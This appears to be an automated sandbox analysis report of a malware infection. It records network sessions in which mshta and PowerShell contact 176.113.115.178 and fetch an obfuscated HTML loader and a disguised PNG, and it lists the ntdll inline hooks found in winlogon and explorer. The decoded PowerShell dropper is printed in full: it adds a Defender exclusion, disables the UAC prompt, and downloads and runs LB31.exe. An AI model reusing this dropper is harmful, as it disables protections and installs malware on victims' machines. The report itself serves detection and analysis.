Dec 18, 2024 13:49:11.657923937 CET	1236	IN	Data Raw: 54 69 6b 54 6f 6b 2c 20 69 74 20 69 73 20 69 6e 73 74 61 6e 74 6c 79 20 70 72 6f 63 65 73 73 65 64 20 62 79 20 28 41 49 29 20 74 68 61 74 20 69 64 65 6e 74 69 66 69 65 73 20 6f 62 6a 65 63 74 73 20 69 6e 20 74 68 65 20 76 69 64 65 6f 2c 20 63 61 Data Ascii: TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immedia
Dec 18, 2024 13:49:11.657939911 CET	448	IN	Data Raw: 68 61 74 20 61 6d 20 49 20 64 6f 69 6e 67 20 77 72 6f 6e 67 3f 20 57 68 79 20 69 73 20 74 68 69 73 20 68 61 70 70 65 6e 69 6e 67 3f 0d 0a 27 49 6d 61 67 69 6e 65 20 69 66 20 65 61 63 68 20 72 65 75 70 6c 6f 61 64 65 64 20 76 69 64 65 6f 20 67 61 Data Ascii: hat am I doing wrong? Why is this happening?'Imagine if each reuploaded video gained the same number of views as the original and was uploaded until users simply get bored. In such a case TikTok would be overflowing with duplicates and traff
Dec 18, 2024 13:49:11.658018112 CET	1236	IN	Data Raw: 6f 6e 74 65 6e 74 20 72 65 2d 70 6f 73 74 69 6e 67 2c 20 62 6f 74 68 20 66 72 6f 6d 20 6f 74 68 65 72 20 70 6c 61 74 66 6f 72 6d 73 20 61 6e 64 20 77 69 74 68 69 6e 20 54 69 6b 54 6f 6b 20 69 74 73 65 6c 66 2e 0d 0a 27 46 69 72 73 74 20 6f 66 20 Data Ascii: ontent re-posting, both from other platforms and within TikTok itself.'First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The vid
Dec 18, 2024 13:49:11.658030033 CET	1236	IN	Data Raw: 75 65 73 74 69 6f 6e 3a 0d 0a 27 20 20 20 20 49 20 72 65 75 70 6c 6f 61 64 20 76 69 64 65 6f 73 20 74 68 61 74 20 68 61 76 65 20 68 61 64 20 73 65 76 65 72 61 6c 20 6d 69 6c 6c 69 6f 6e 20 76 69 65 77 73 2c 20 62 75 74 20 49 20 68 61 76 65 20 74 Data Ascii: uestion:' I reupload videos that have had several million views, but I have them gaining less than a thousand, what am I doing wrong? Why is this happening?'Imagine if each reuploaded video gained the same number of views as the origina
Dec 18, 2024 13:49:11.658042908 CET	1236	IN	Data Raw: 61 64 64 69 74 69 6f 6e 20 6f 66 20 61 20 6c 6f 67 6f 20 74 6f 20 61 20 76 69 64 65 6f 20 74 68 61 74 20 69 73 20 63 6c 65 61 72 6c 79 20 76 69 73 69 62 6c 65 2e 0d 0a 27 54 68 65 72 65 20 61 72 65 20 61 6c 73 6f 20 64 69 67 69 74 61 6c 20 77 61 Data Ascii: addition of a logo to a video that is clearly visible.'There are also digital watermarks that are invisible to the human eye.'These are stitched right into the video signal and encrypted. Thus, every video uploaded to Tik'Translated with
Dec 18, 2024 13:49:11.658282995 CET	1236	IN	Data Raw: 65 72 73 20 77 6f 75 6c 64 20 62 65 20 73 77 69 6d 6d 69 6e 67 20 69 6e 20 76 69 65 77 73 2e 20 42 79 20 74 68 65 20 77 61 79 2c 20 61 20 63 6f 75 70 6c 65 20 79 65 61 72 73 20 61 67 6f 20 69 74 20 77 61 73 20 6c 69 6b 65 20 74 68 61 74 2e 0d 0a Data Ascii: ers would be swimming in views. By the way, a couple years ago it was like that.'TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other pla
Dec 18, 2024 13:49:11.665781975 CET	1236	IN	Data Raw: 64 2c 20 70 61 72 61 6d 65 74 65 72 73 20 61 6e 64 20 6d 65 74 61 64 61 74 61 20 61 72 65 20 63 68 61 6e 67 65 64 2e 20 49 66 20 79 6f 75 20 64 6f 77 6e 6c 6f 61 64 20 61 6e 64 20 75 70 6c 6f 61 64 20 74 68 61 74 20 76 69 64 65 6f 20 61 67 61 69 Data Ascii: d, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.'Let's look at the most popular question:' I reupload videos that
Dec 18, 2024 13:49:11.665918112 CET	1236	IN	Data Raw: 69 73 20 74 6f 20 69 74 2e 20 54 68 65 72 65 20 69 73 20 61 6e 6f 74 68 65 72 20 6d 65 74 68 6f 64 20 6f 66 20 64 75 70 6c 69 63 61 74 65 20 64 65 74 65 63 74 69 6f 6e 20 74 68 61 74 20 66 65 77 20 70 65 6f 70 6c 65 20 6b 6e 6f 77 20 61 62 6f 75 Data Ascii: is to it. There is another method of duplicate detection that few people know about. This method has long been used in filmmaking and most popular platforms - it's watermarks.'Visible watermarks are the addition of a logo to a video that is

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49726	176.113.115.178	80	7444	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 13:49:14.653872967 CET	333	OUT	GET /Windows-Update HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 176.113.115.178 Connection: Keep-Alive
Dec 18, 2024 13:49:16.024590969 CET	371	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=UTF-8 Location: http://176.113.115.178/Windows-Update/ Server: Microsoft-IIS/10.0 Date: Wed, 18 Dec 2024 12:49:15 GMT Content-Length: 161 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 31 37 36 2e 31 31 33 2e 31 31 35 2e 31 37 38 2f 57 69 6e 64 6f 77 73 2d 55 70 64 61 74 65 2f 22 3e 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e Data Ascii: <head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a HREF="http://176.113.115.178/Windows-Update/">here</a></body>
Dec 18, 2024 13:49:16.031613111 CET	334	OUT	GET /Windows-Update/ HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 176.113.115.178 Connection: Keep-Alive
Dec 18, 2024 13:49:16.493833065 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Thu, 21 Nov 2024 18:37:41 GMT Accept-Ranges: bytes ETag: "19c58d72443cdb1:0" Server: Microsoft-IIS/10.0 Date: Wed, 18 Dec 2024 12:49:15 GMT Content-Length: 10664 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 27 20 63 6f 6e 74 65 6e 74 3d 27 45 6d 75 6c 61 74 65 49 45 39 27 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 27 47 45 4e 45 52 41 54 4f 52 27 20 43 6f 6e 74 65 6e 74 3d 27 54 68 65 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 66 20 74 68 69 73 20 70 61 67 65 20 69 73 20 65 6e 63 72 79 70 74 65 64 20 77 69 74 68 20 48 54 4d 4c 20 47 75 61 72 64 69 61 6e 2c 20 20 74 68 65 20 77 6f 72 6c 64 27 73 20 73 74 61 6e 64 61 72 74 20 66 6f 72 20 77 65 62 73 69 74 65 20 70 72 6f 74 65 63 74 69 6f 6e 2e 20 56 69 73 69 74 20 68 74 74 70 3a 2f 2f 77 77 77 2e 70 72 6f 74 77 61 72 65 2e 63 6f 6d 20 66 6f 72 20 64 65 74 61 69 6c 73 27 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 65 78 70 69 72 65 73 27 20 63 6f 6e 74 65 6e 74 3d 27 27 3e 3c 73 63 72 69 70 74 3e 6c 31 6c 3d 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 4d 6f 64 65 7c 7c 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 3b 76 [TRUNCATED] Data Ascii: <html><head><meta http-equiv='x-ua-compatible' content='EmulateIE9'><META NAME='GENERATOR' Content='The source code of this page is encrypted with HTML Guardian, the world's standart for website protection. Visit http://www.protware.com for details'><meta http-equiv='expires' content=''><script>l1l=document.documentMode\|\|document.all;var c6efa=true;ll1=document.layers;lll=window.sidebar;c6efa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l_ll=location+'';l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')\|lI1('per');c6efa\|=lII;zLP=location.protocol+'0FD';pHcl5jBGPFb='kmOsd6OpxRj6';</script><script>la0Q6t4=new Array();la0Q6t4[0]='\151\130%34\150\101p%38%35%41S%55O';o4Jfj0q=new Array();o4Jfj0q[0]='<!DOCTYPE html PUBLIC "-//W3C~DTD XHTML 1.0 Transitional~EN"~~\ntp:~w~B.w3.org/TR/x~\n~1/~D~N~Pl1-t~-~/~1~3~5l.dtd">\r\n<~W x~~/="~=~?~A~C~E~G~I/19~{~V~
Dec 18, 2024 13:49:16.493858099 CET	1236	IN	Data Raw: 0b 7f 6c 7e 66 7e 68 7e 6a 7f 65 7f 61 7f 64 7f 3e 7f 3c 7f 73 7f 63 7f 72 7f 69 7f 70 7f 74 7f 3e 7f 65 7f 76 7e 36 7f 28 7f 75 7f 6e 7f 65 7d 08 7f 61 7f 70 7f 65 7f 28 7f 5c 27 7f 25 7f 37 7f 36 7f 25 7f 36 7f 31 7f 72 7f 25 7f 32 7f 30 7f 71 Data Ascii: l~f~h~jead><script>ev~6(une}ape(\'%76%61r%20q\\171%37}+D}#}-2}-3Bq}9}+8}.%53}4}\'62}\'51ng}#E}6}A2omC}D0}\'41}M%43o}}@145}#}:3}*3}>2C}+}d0}#}8}4}K}D7}W28
Dec 18, 2024 13:49:16.493870020 CET	448	IN	Data Raw: 7c 32 79 5c 72 7c 1b 7c 3a 7f 34 79 1c 7f 31 7f 32 7c 4a 7f 4c 7d 61 7a 68 79 3f 7f 33 7d 7d 79 12 7b 1b 79 57 7a 3d 7b 19 7d 7a 7c 05 7c 7c 7c 15 79 7a 7f 37 7c 7d 7b 61 7f 5c 27 7f 29 7f 29 7f 3c 7f 2f 7d 08 7d 5c 6e 7d 0c 7d 06 78 04 7d 0b 7d Data Ascii: \|2y\r\|\|:4y12\|JL}azhy?3}}y{yWz={}z\|\|\|\|yz7\|}{a\'))</}}\n}}x}}\rdozo\|Wyza~D}\nt}"<tab{/ wi~ch=\'10}k\' zDrdzx0\'}~[x-dx%gcol~Hx#x"zx"x$~6ign = \'c\|Xxrx,<zyza styxxxKt-f
Dec 18, 2024 13:49:16.494033098 CET	1236	IN	Data Raw: 62 7f 79 7f 20 7f 3c 7f 62 7d 06 78 53 78 4d 78 4f 78 51 78 44 78 34 77 18 7f 20 77 08 7f 46 7f 43 7f 43 77 1c 7e 23 7e 25 7f 20 7f 47 7f 75 7f 61 78 5c 27 7f 69 7e 2e 78 02 78 53 7d 06 7f 2f 77 3f 77 3d 7f 62 7f 72 77 1d 77 1f 7f 20 7f 75 7f 6c Data Ascii: by <b}xSxMxOxQxDx4w wFCCw~#~% Guax\'i~.xxS}/w?w=brww ul~2maxw+ox4whw/w6ew8 yw" wN~&w&exciwew2sxcJa} }';yQ5f1I1Y1vX='fu';jrsiV61='uZhQK197R6M';b1625='OTDgnHElOMDPtiyQOOOBXOSc';yQ5f1I1Y1vX+= 'nction bE
Dec 18, 2024 13:49:16.494051933 CET	1236	IN	Data Raw: 35 5c 31 33 32 5c 31 37 31 25 32 39 25 37 42 63 25 35 39 5c 31 35 32 25 33 36 25 33 32 78 5c 31 31 34 5c 31 32 30 25 33 44 25 37 37 25 33 37 6e 25 33 34 5c 31 36 37 25 33 37 48 25 35 30 5c 31 36 30 5c 31 32 35 5a 5c 31 37 31 25 37 44 25 33 42 27 Data Ascii: 5\132\171%29%7Bc%59\152%36%32x\114\120%3D%77%37n%34\167%37H%50\160\125Z\171%7D%3B'));o4Jfj0q[0]+= 'p{/yw}wax}w\| l{{kvkeepxebw%~4xxLfxYxGsvwaw<~.x0much m~He.v.w=/wXw>w^<awBxPw xxxxTx(x3~-~2~4x\\{<}wwFw
Dec 18, 2024 13:49:16.494062901 CET	1236	IN	Data Raw: 5d 77 30 7f 6e 75 33 7f 3b 73 6b 73 57 7f 3d 72 18 7f 31 72 05 7e 58 72 7a 61 7f 49 73 6b 73 69 73 57 7f 49 73 5a 73 66 7f 73 72 33 72 35 73 1c 73 7a 73 6f 73 5d 72 46 7e 2e 72 35 72 3f 72 19 78 14 72 45 72 33 72 1e 78 1f 74 0e 7e 30 7f 62 78 59 Data Ascii: ]w0nu3;sksW=r1r~XrzaIsksisWIsZsfsr3r5sszsos]rF~.r5r?rxrEr3rxt~0bxY~1x[w-dx(nx,qtvdzxcrslsLtLntN~4 I~XrtTrqsltewxdtcv"}zzKeBez#\',\'a{tzqqqr~v,EuGqqqrqdyr6~XrC}ryxe~-y}~Wqw}qzDdyq
Dec 18, 2024 13:49:16.494204998 CET	1236	IN	Data Raw: 27 27 3b 64 35 4a 34 30 61 42 36 51 2b 3d 20 20 20 27 63 5c 31 35 30 25 36 31 72 25 34 33 5c 31 35 37 25 36 34 25 36 35 41 74 25 32 38 25 32 42 25 32 42 25 35 46 25 33 31 25 32 39 25 33 42 5c 31 35 34 25 33 37 25 35 42 5c 31 31 31 25 32 42 25 32 Data Ascii: '';d5J40aB6Q+= 'c\150%61r%43\157%64%65At%28%2B%2B%5F%31%29%3B\154%37%5B\111%2B%2B%5D%3D\154I%2B\151l%2D%28%6C%39%3C%3C%37%29%7Dw\150ile%28%5F%31%2B%2B%3C\154%38%29%3Bva%72%20%6C%31%3D\156\145\167%20%41%72ra%79%28%29%2Cl%30%3D\156\145\167%20%
Dec 18, 2024 13:49:16.494218111 CET	1236	IN	Data Raw: 7a 75 46 75 7c 75 4a 7c 58 74 0c 77 62 7f 6c 75 36 6e 22 78 0f 6d 5c 27 7f 6e 6d 29 6e 1a 6f 7f 78 10 7e 31 75 44 7f 6e 6d 2a 74 5e 74 6c 76 55 7e 36 7a 13 70 7e 6d 37 6e 1a 6d 1f 6f 76 74 4f 6e 19 6f 60 74 54 73 20 74 28 7e 5b 7f 61 7f 46 74 4d Data Ascii: zuFu\|uJ\|Xtwblu6n"xm\'nm)nox~1uDnm*t^tlvU~6zp~m7nmovtOno`tTs t(~[aFtM1Cyzayzat3mArmowqDmEo{wS mH~-mKrm}gmOp~0mRm!vslrwwp,cmzan?n4m%t`u~vwStTv-{{ttAdyaxEyzawtnJsl[pptmj}xjqQtUcvOm3nkxR~.w2tSv\\pxs9yzamHwRlF~
Dec 18, 2024 13:49:16.494230032 CET	1236	IN	Data Raw: 22 7f 70 73 66 7f 6f 73 66 74 1d 73 66 6c 42 69 65 7f 65 73 66 73 57 7e 15 7f 3b 7e 68 77 09 7f 33 7e 70 76 51 7e 18 7d 28 7f 36 7f 2e 73 6c 7e 46 73 6c 7f 35 68 17 7f 37 7f 38 7f 2f 77 09 7e 79 76 56 7d 47 69 68 7f 5c 6e 77 09 7f 4f 68 7a 61 7f Data Ascii: "psfosftsflBieesfsW~;~hw3~pvQ~}(6.sl~Fsl5h78/w~yvV}Gih\nwOhza$csY}%(N%%rx-Oh0%iu{0h0woh/h0xm.Wh5r\'xxh)4xbh0\|`h5%ih$w6~pI`E`X $TC\|hPhRXhLFhD"k.op;hVCuRh)q\|hC,h)3iRJo{{xCqh]2~ph8yzah0
Dec 18, 2024 13:49:16.502541065 CET	555	IN	Data Raw: 39 25 37 42 6c 4f 25 32 42 25 33 44 5c 31 35 34 25 33 33 25 32 38 25 36 46 25 33 34 4a 5c 31 34 36 25 36 41 25 33 30 5c 31 36 31 25 35 42 5c 31 35 31 5c 31 35 31 25 35 44 25 32 39 25 37 44 25 33 42 25 36 31 66 65 25 33 36 25 36 33 25 32 38 25 32 Data Ascii: 9%7BlO%2B%3D\154%33%28%6F%34J\146%6A%30\161%5B\151\151%5D%29%7D%3B%61fe%36%63%28%29%3B';</script>...eShBZW3v3CtJd9m0gw--><script>lvJp2wI2S4I3RC ='MyBjVOZXpEOqCBMJsOwfUXOZOHVwWDrponkHOWOfxmlfjeLeLSNaOKVP';bEpGSgjh2L2UciWkV (d5J40aB6Q);j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49739	176.113.115.178	80	7616	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 13:49:18.337718010 CET	73	OUT	GET /FF/1.png HTTP/1.1 Host: 176.113.115.178 Connection: Keep-Alive
Dec 18, 2024 13:49:19.683073044 CET	676	IN	HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Thu, 21 Nov 2024 18:38:23 GMT Accept-Ranges: bytes ETag: "a33e7f8b443cdb1:0" Server: Microsoft-IIS/10.0 Date: Wed, 18 Dec 2024 12:49:19 GMT Content-Length: 451 Data Raw: 70 6f 77 65 72 73 68 65 6c 6c 20 41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 61 74 68 20 22 41 41 41 63 41 41 41 3a 5c 41 41 41 22 2e 72 65 70 6c 61 63 65 28 27 41 41 41 27 2c 27 27 29 0d 0a 53 65 74 2d 49 74 65 6d 50 72 6f 70 65 72 74 79 20 2d 50 61 74 68 20 52 45 47 49 53 54 52 59 3a 3a 48 4b 45 59 5f 4c 4f 43 41 4c 5f 4d 41 43 48 49 4e 45 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 50 6f 6c 69 63 69 65 73 5c 53 79 73 74 65 6d 20 2d 4e 61 6d 65 20 43 6f 6e 73 65 6e 74 50 72 6f 6d 70 74 42 65 68 61 76 69 6f 72 41 64 6d 69 6e 20 2d 56 61 6c 75 65 20 30 20 2d 46 6f 72 63 65 0d 0a 73 74 61 72 74 2d 73 6c 65 65 70 20 2d 73 20 36 0d 0a 0d 0a 24 75 72 6c 20 3d 20 22 68 74 74 70 3a 2f 2f 31 37 36 2e 31 31 33 2e 31 31 35 2e 31 37 38 2f 46 46 2f 4d 2e 70 6e 67 22 0d 0a 24 6f 75 74 70 75 74 20 3d 20 22 24 65 6e 76 3a 41 50 50 44 41 54 41 5c 4c 42 33 31 2e 65 78 65 22 0d 0a 24 73 74 61 [TRUNCATED] Data Ascii: powershell Add-MpPreference -ExclusionPath "AAAcAAA:\AAA".replace('AAA','')Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0 -Forcestart-sleep -s 6$url = "http://176.113.115.178/FF/M.png"$output = "$env:APPDATA\LB31.exe"$start_time = Get-Date$wc = New-Object System.Net.WebClient$wc.DownloadFile($url, $output)Start-Process $output

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49822	176.113.115.178	80	7616	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 13:49:43.266879082 CET	73	OUT	GET /FF/M.png HTTP/1.1 Host: 176.113.115.178 Connection: Keep-Alive
Dec 18, 2024 13:49:44.598474026 CET	1236	IN	HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Sun, 06 Oct 2024 18:12:58 GMT Accept-Ranges: bytes ETag: "08ec05f1b18db1:0" Server: Microsoft-IIS/10.0 Date: Wed, 18 Dec 2024 12:49:44 GMT Content-Length: 7679488 Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 07 00 5e 6e f4 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 a0 00 00 00 78 54 00 00 00 00 00 00 d0 af 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 af 00 00 04 00 00 fe e2 75 00 02 00 60 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8d 90 55 00 b5 00 00 00 00 e0 53 00 66 a3 01 00 20 e0 af 00 98 01 00 00 00 00 00 00 00 00 00 00 c0 22 ae 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 22 ae 00 28 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@xhr!L!This program cannot be run in DOS mode.$PEd^ne"xT@u`USf "`"( SR@.rsrcfSR@.idata US@ 8US@ndryujmpp!`f!S@tnyudguu*u@.pdataI,u@@
Dec 18, 2024 13:49:44.598702908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 13:49:44.598717928 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 13:49:44.599601030 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 13:49:44.599654913 CET	1236	IN	Data Raw: e3 0e 40 20 e8 6a 27 5d 47 35 16 0e 80 19 c4 89 c8 dd 4f 19 f0 e5 cc 94 02 58 9c 0c 4c 24 08 0a 54 ea 10 f1 34 8b 18 fb 94 1f 20 39 40 b1 4d 6f cc a5 0a 94 a3 46 4e 17 6f 48 8c c5 ca 96 27 ea f5 43 4c 0f c0 f6 36 a3 09 41 a7 86 07 45 58 4f 50 9f Data Ascii: @ j']G5OXL$T4 9@MoFNoH'CL6AEXOP.5C5{BY\|mCr"LcdAqlT?{E62 Gj\$Az?cPkA}4\N/2M vqD>]/DiF
Dec 18, 2024 13:49:44.600439072 CET	1236	IN	Data Raw: 3f 77 26 49 29 c7 c3 a4 1f 89 b3 4a e3 e3 f7 a0 4d 39 da 50 7f cb 4a 53 ff 17 6c 2b 25 7c 56 3a 8f 28 44 6e ee a3 50 c4 b9 3a 89 49 25 63 20 ec 30 58 98 0b 85 04 ca cd f1 21 f4 48 c2 4d e1 18 e9 5c 14 b0 c6 ec 30 e0 5b 54 22 4c 18 4a 21 81 76 c0 Data Ascii: ?w&I)JM9PJSl+%\|V:(DnP:I%c 0X!HM\0[T"LJ!v%HX3,'$0RfXP=hS'7&ZJSa1 9t#zIw E#vYi0E! $N#t B<SAYBUL (
Dec 18, 2024 13:49:44.600452900 CET	1236	IN	Data Raw: 55 14 50 fc 18 eb 32 0a 90 0f 28 43 14 f0 74 11 8b f5 3c 98 07 d1 77 ef 03 86 08 11 0a 76 e7 c3 31 42 2f 14 d0 89 93 b1 d2 09 62 25 50 b7 2c 77 68 21 8c ca 8c cf b7 f9 a1 e0 8c 90 56 72 8b fc 33 47 6e c1 36 aa 18 8c cf ec 38 18 58 06 06 85 db 74 Data Ascii: UP2(Ct<wv1B/b%P,wh!Vr3Gn68Xt0)<NaAucP\_A(u@.fQQRyNP/M>,H+Tm@Le%PEp@L9<rs:JK!4nrxArDVhI:2
Dec 18, 2024 13:49:44.601258993 CET	1236	IN	Data Raw: 1e 4c 13 10 48 fd 5b d9 4a 38 08 78 d7 14 97 d2 a5 41 0e a5 10 ee 50 d7 d6 e0 0c 1e 83 e6 fe 9d c1 2d 62 e5 30 cc 4d 09 ff ce 48 e6 60 c1 6f e5 26 6a ed 88 13 bc 34 1c 0c 43 68 0a 6c 92 b2 a2 d7 9b 5d ec 8d cb b2 97 08 80 9a fc 4e bc 1a c1 e3 11 Data Ascii: LH[J8xAP-b0MH`o&j4Chl]NG/T*dr=# WH" 91g@FX\$`V(DYJI\I,M:h@vMxtf!(,P0K]nq["P"h:eo18.AaQjPP@
Dec 18, 2024 13:49:44.601313114 CET	1236	IN	Data Raw: 3c 32 1d 63 25 0f 88 1f 0b d4 fe 01 75 f9 73 4b 70 98 2a 05 2e 34 de b0 7c 78 86 e3 14 b8 f1 9b 38 e2 11 2b 40 b3 ea 66 ab 1b c3 52 12 f7 eb 17 16 0a 00 32 83 e2 1f 45 32 24 0c 12 0a 3a 4a c3 cc c0 98 39 c6 74 6c ac 99 1a 45 7d 84 f4 df a9 8a c2 Data Ascii: <2c%usKp.4\|x8+@fR2E2$:J9tlE}H7@X}(3)fDt$"%ou\QrF"dbS0DfdHoHK`$zy@D[tZa2!x'9I=DaYyAf7/R
Dec 18, 2024 13:49:44.602190018 CET	1236	IN	Data Raw: f2 4d 74 80 fa e8 26 17 d8 26 64 70 88 7d 28 a6 6f 5d 84 df 91 23 40 5f e8 24 01 d8 72 58 78 4b cf 12 94 29 f8 5e ca 64 10 b2 7e d1 82 12 38 41 ac 36 c5 f1 d7 4a 53 1d 41 b1 f7 a5 d7 7d 94 ca 7d 0a a4 bf 8a eb 13 4f b7 3b 2a 5b 09 c7 c0 79 5b 24 Data Ascii: Mt&&dp}(o]#@_$rXxK)^d~8A6JSA}}O;[y[$f=\/x:J69\#8#p"`U1P3%K("G>%V05Iaxf!H\|]["@" ~O*4)H'\|oj
Dec 18, 2024 13:49:44.721278906 CET	1236	IN	Data Raw: 21 96 93 db 11 2b 0f 21 a3 b8 94 f0 03 96 f1 9f 67 09 e1 3e 0c 9e 86 21 db 41 10 27 8f c1 71 84 d9 70 61 91 6f 18 a9 50 41 76 b2 ed 18 f0 46 03 c8 4c c4 85 72 2d 2c aa 71 a4 62 43 78 2e 5f 65 c4 89 a6 b4 10 8b 70 c5 15 73 23 6e d0 15 19 0d 27 6a Data Ascii: !+!g>!A'qpaoPAvFLr-,qbCx._eps#n'j[!@chO[K>GC#K;rC>G3#;+r3>G##+r#>G#r>I )@@K!A@Y!GGhK8x?B]!<6OAdqnC@gm8{F@<Gsd{\|kGsck\|[

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	winlogon.exe, explorer.exe
NtQuerySystemInformation	INLINE	winlogon.exe, explorer.exe
ZwResumeThread	INLINE	winlogon.exe, explorer.exe
NtDeviceIoControlFile	INLINE	winlogon.exe, explorer.exe
ZwDeviceIoControlFile	INLINE	winlogon.exe, explorer.exe
NtEnumerateKey	INLINE	winlogon.exe, explorer.exe
NtQueryDirectoryFile	INLINE	winlogon.exe, explorer.exe
ZwEnumerateValueKey	INLINE	winlogon.exe, explorer.exe
ZwQuerySystemInformation	INLINE	winlogon.exe, explorer.exe
NtResumeThread	INLINE	winlogon.exe, explorer.exe
RtlGetNativeSystemInformation	INLINE	winlogon.exe, explorer.exe
NtQueryDirectoryFileEx	INLINE	winlogon.exe, explorer.exe
NtEnumerateValueKey	INLINE	winlogon.exe, explorer.exe
ZwQueryDirectoryFileEx	INLINE	winlogon.exe, explorer.exe
ZwQueryDirectoryFile	INLINE	winlogon.exe, explorer.exe

Processes

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
